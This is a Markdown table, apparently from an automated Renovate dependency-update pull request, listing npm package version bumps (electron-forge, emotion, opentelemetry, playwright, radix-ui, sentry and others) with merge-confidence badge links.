| [@electron-forge/maker-dmg](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fmaker-dmg/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fmaker-dmg/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fmaker-dmg/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fmaker-dmg/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fmaker-dmg/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@electron-forge/maker-flatpak](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fmaker-flatpak/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fmaker-flatpak/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fmaker-flatpak/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fmaker-flatpak/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fmaker-flatpak/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@electron-forge/maker-squirrel](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fmaker-squirrel/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fmaker-squirrel/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fmaker-squirrel/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fmaker-squirrel/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fmaker-squirrel/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@electron-forge/maker-zip](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fmaker-zip/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fmaker-zip/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fmaker-zip/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fmaker-zip/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fmaker-zip/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@electron-forge/plugin-auto-unpack-natives](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fplugin-auto-unpack-natives/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fplugin-auto-unpack-natives/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fplugin-auto-unpack-natives/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fplugin-auto-unpack-natives/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fplugin-auto-unpack-natives/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@electron-forge/shared-types](https://redirect.github.com/electron/forge) | [`7.5.0` -> `7.6.0`](https://renovatebot.com/diffs/npm/@electron-forge%2fshared-types/7.5.0/7.6.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@electron-forge%2fshared-types/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@electron-forge%2fshared-types/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@electron-forge%2fshared-types/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@electron-forge%2fshared-types/7.5.0/7.6.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@emotion/cache](https://redirect.github.com/emotion-js/emotion/tree/main#readme) ([source](https://redirect.github.com/emotion-js/emotion)) | [`11.13.1` -> `11.13.5`](https://renovatebot.com/diffs/npm/@emotion%2fcache/11.13.1/11.13.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@emotion%2fcache/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@emotion%2fcache/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@emotion%2fcache/11.13.1/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@emotion%2fcache/11.13.1/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@emotion/react](https://redirect.github.com/emotion-js/emotion/tree/main#readme) ([source](https://redirect.github.com/emotion-js/emotion)) | [`11.13.3` -> `11.13.5`](https://renovatebot.com/diffs/npm/@emotion%2freact/11.13.3/11.13.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@emotion%2freact/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@emotion%2freact/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@emotion%2freact/11.13.3/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@emotion%2freact/11.13.3/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@emotion/react](https://redirect.github.com/emotion-js/emotion/tree/main#readme) ([source](https://redirect.github.com/emotion-js/emotion)) | [`11.13.3` -> `11.13.5`](https://renovatebot.com/diffs/npm/@emotion%2freact/11.13.3/11.13.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@emotion%2freact/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@emotion%2freact/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@emotion%2freact/11.13.3/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@emotion%2freact/11.13.3/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@emotion/styled](https://redirect.github.com/emotion-js/emotion/tree/main#readme) ([source](https://redirect.github.com/emotion-js/emotion)) | [`11.13.0` -> `11.13.5`](https://renovatebot.com/diffs/npm/@emotion%2fstyled/11.13.0/11.13.5) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@emotion%2fstyled/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@emotion%2fstyled/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@emotion%2fstyled/11.13.0/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@emotion%2fstyled/11.13.0/11.13.5?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@graphql-codegen/typescript](https://redirect.github.com/dotansimha/graphql-code-generator) ([source](https://redirect.github.com/dotansimha/graphql-code-generator/tree/HEAD/packages/plugins/typescript/typescript)) | [`4.1.1` -> `4.1.2`](https://renovatebot.com/diffs/npm/@graphql-codegen%2ftypescript/4.1.1/4.1.2) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@graphql-codegen%2ftypescript/4.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@graphql-codegen%2ftypescript/4.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@graphql-codegen%2ftypescript/4.1.1/4.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@graphql-codegen%2ftypescript/4.1.1/4.1.2?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | patch |
| [@graphql-codegen/typescript-operations](https://redirect.github.com/dotansimha/graphql-code-generator) ([source](https://redirect.github.com/dotansimha/graphql-code-generator/tree/HEAD/packages/plugins/typescript/operations)) | [`4.3.1` -> `4.4.0`](https://renovatebot.com/diffs/npm/@graphql-codegen%2ftypescript-operations/4.3.1/4.4.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@graphql-codegen%2ftypescript-operations/4.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@graphql-codegen%2ftypescript-operations/4.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@graphql-codegen%2ftypescript-operations/4.3.1/4.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@graphql-codegen%2ftypescript-operations/4.3.1/4.4.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@marsidev/react-turnstile](https://redirect.github.com/marsidev/react-turnstile) | [`1.0.2` -> `1.1.0`](https://renovatebot.com/diffs/npm/@marsidev%2freact-turnstile/1.0.2/1.1.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@marsidev%2freact-turnstile/1.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@marsidev%2freact-turnstile/1.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@marsidev%2freact-turnstile/1.0.2/1.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@marsidev%2freact-turnstile/1.0.2/1.1.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/core](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-core) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.27.0` -> `1.28.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fcore/1.27.0/1.28.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fcore/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fcore/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fcore/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fcore/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/exporter-prometheus](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-exporter-prometheus) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.54.0` -> `^0.55.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-prometheus/0.54.2/0.55.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-prometheus/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-prometheus/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-prometheus/0.54.2/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-prometheus/0.54.2/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/exporter-zipkin](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-exporter-zipkin) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.27.0` -> `1.28.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fexporter-zipkin/1.27.0/1.28.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fexporter-zipkin/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fexporter-zipkin/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fexporter-zipkin/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fexporter-zipkin/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.54.0` -> `^0.55.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation/0.54.2/0.55.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation/0.54.2/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation/0.54.2/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-graphql](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-graphql#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.44.0` -> `^0.45.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-graphql/0.44.0/0.45.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-graphql/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-graphql/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-graphql/0.44.0/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-graphql/0.44.0/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-http](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-instrumentation-http) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.54.0` -> `^0.55.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-http/0.54.2/0.55.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-http/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-http/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-http/0.54.2/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-http/0.54.2/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-ioredis](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-ioredis#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.44.0` -> `^0.45.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-ioredis/0.44.0/0.45.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-ioredis/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-ioredis/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-ioredis/0.44.0/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-ioredis/0.44.0/0.45.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-nestjs-core](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/opentelemetry-instrumentation-nestjs-core#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.41.0` -> `^0.42.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-nestjs-core/0.41.0/0.42.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-nestjs-core/0.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-nestjs-core/0.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-nestjs-core/0.41.0/0.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-nestjs-core/0.41.0/0.42.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/instrumentation-socket.io](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/plugins/node/instrumentation-socket.io#readme) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib)) | [`^0.43.0` -> `^0.44.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-socket.io/0.43.0/0.44.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-socket.io/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2finstrumentation-socket.io/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2finstrumentation-socket.io/0.43.0/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-socket.io/0.43.0/0.44.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/resources](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-resources) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.27.0` -> `1.28.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fresources/1.27.0/1.28.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fresources/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fresources/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fresources/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fresources/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-metrics](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/sdk-metrics) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.27.0` -> `1.28.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-metrics/1.27.0/1.28.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-metrics/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-metrics/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-metrics/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-metrics/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/experimental/packages/opentelemetry-sdk-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`^0.54.0` -> `^0.55.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-node/0.54.2/0.55.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-node/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-node/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-node/0.54.2/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-node/0.54.2/0.55.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/sdk-trace-node](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/packages/opentelemetry-sdk-trace-node) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.27.0` -> `1.28.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsdk-trace-node/1.27.0/1.28.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsdk-trace-node/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsdk-trace-node/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsdk-trace-node/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsdk-trace-node/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@opentelemetry/semantic-conventions](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/semantic-conventions) ([source](https://redirect.github.com/open-telemetry/opentelemetry-js)) | [`1.27.0` -> `1.28.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsemantic-conventions/1.27.0/1.28.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsemantic-conventions/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@opentelemetry%2fsemantic-conventions/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@opentelemetry%2fsemantic-conventions/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsemantic-conventions/1.27.0/1.28.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
| [@playwright/test](https://playwright.dev) ([source](https://redirect.github.com/microsoft/playwright)) | [`=1.48.2` -> `=1.49.0`](https://renovatebot.com/diffs/npm/@playwright%2ftest/1.48.2/1.49.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@playwright%2ftest/1.49.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@playwright%2ftest/1.49.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@playwright%2ftest/1.48.2/1.49.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@playwright%2ftest/1.48.2/1.49.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | devDependencies | minor |
| [@radix-ui/react-scroll-area](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.2.0` -> `1.2.1`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-scroll-area/1.2.0/1.2.1) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-scroll-area/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-scroll-area/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-scroll-area/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-scroll-area/1.2.0/1.2.1?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@radix-ui/react-tooltip](https://radix-ui.com/primitives) ([source](https://redirect.github.com/radix-ui/primitives)) | [`1.1.3` -> `1.1.4`](https://renovatebot.com/diffs/npm/@radix-ui%2freact-tooltip/1.1.3/1.1.4) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@radix-ui%2freact-tooltip/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@radix-ui%2freact-tooltip/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@radix-ui%2freact-tooltip/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@radix-ui%2freact-tooltip/1.1.3/1.1.4?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | patch |
| [@sentry/react](https://redirect.github.com/getsentry/sentry-javascript/tree/master/packages/react) ([source](https://redirect.github.com/getsentry/sentry-javascript)) | [`8.37.1` -> `8.40.0`](https://renovatebot.com/diffs/npm/@sentry%2freact/8.37.1/8.40.0) | [![age](https://developer.mend.io/api/mc/badges/age/npm/@sentry%2freact/8.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![adoption](https://developer.mend.io/api/mc/badges/adoption/npm/@sentry%2freact/8.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![passing](https://developer.mend.io/api/mc/badges/compatibility/npm/@sentry%2freact/8.37.1/8.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | [![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@sentry%2freact/8.37.1/8.40.0?slim=true)](https://docs.renovatebot.com/merge-confidence/) | dependencies | minor |
